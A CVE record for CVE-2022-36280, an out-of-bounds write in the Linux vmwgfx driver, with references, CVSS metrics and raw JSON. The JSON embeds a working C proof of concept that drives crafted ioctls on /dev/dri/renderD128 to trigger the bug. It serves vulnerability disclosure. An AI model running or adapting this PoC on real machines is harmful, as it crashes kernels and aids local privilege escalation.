CVE-2022-36280
Vulnerability from cvelistv5
Published
2022-09-09 14:39
Modified
2024-09-17 00:01
Severity ?
6.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
Summary
An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
References
security@openanolis.orghttps://bugzilla.openanolis.cn/show_bug.cgi?id=2071Issue Tracking, Permissions Required, Third Party Advisory
security@openanolis.orghttps://lists.debian.org/debian-lts-announce/2023/03/msg00000.html
security@openanolis.orghttps://lists.debian.org/debian-lts-announce/2023/05/msg00006.html
security@openanolis.orghttps://www.debian.org/security/2023/dsa-5324Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://bugzilla.openanolis.cn/show_bug.cgi?id=2071Issue Tracking, Permissions Required, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html
af854a3a-2127-422b-91ae-364da2661108https://www.debian.org/security/2023/dsa-5324Third Party Advisory
Impacted products
Vendor Product Version
Show details on NVD website

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{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T10:00:04.335Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
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            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2071"
          },
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            "name": "DSA-5324",
            "tags": [
              "vendor-advisory",
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            "url": "https://www.debian.org/security/2023/dsa-5324"
          },
          {
            "name": "[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update",
            "tags": [
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            "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html"
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    "cna": {
      "affected": [
        {
          "product": "kernel",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.13.0-52*",
              "status": "affected",
              "version": "v3.2-rc1",
              "versionType": "custom"
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      ],
      "credits": [
        {
          "lang": "en",
          "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
        }
      ],
      "datePublic": "2022-09-06T00:00:00",
      "descriptions": [
        {
          "lang": "en",
          "value": "An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int handle,int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n               0x2000,\n                PROT_READ | PROT_WRITE,\n                MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n                printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n                        strerror(errno));\n                        }\n                        \n          memset(vaddr,\"a\",0x2000);     \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0x2000;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1;  \n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint handle=alloc_bo();\n  int sid =    create_surface();     \n  printf(\"%d\",sid);     \n    poc(handle,sid);            \n  \n}"
        }
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      "metrics": [
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          "cvssV3_1": {
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            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
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      "providerMetadata": {
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        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
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      ],
      "source": {
        "defect": [
          "https://bugzilla.openanolis.cn/show_bug.cgi?id=2071"
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        "discovery": "INTERNAL"
      },
      "title": "There is an out-of-bounds write vulnerability in vmwgfx driver",
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  "cveMetadata": {
    "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
    "assignerShortName": "Anolis",
    "cveId": "CVE-2022-36280",
    "datePublished": "2022-09-09T14:39:50.986805Z",
    "dateReserved": "2022-09-07T00:00:00",
    "dateUpdated": "2024-09-17T00:01:20.651Z",
    "state": "PUBLISHED"
  },
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  "dataVersion": "5.1",
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  }
}


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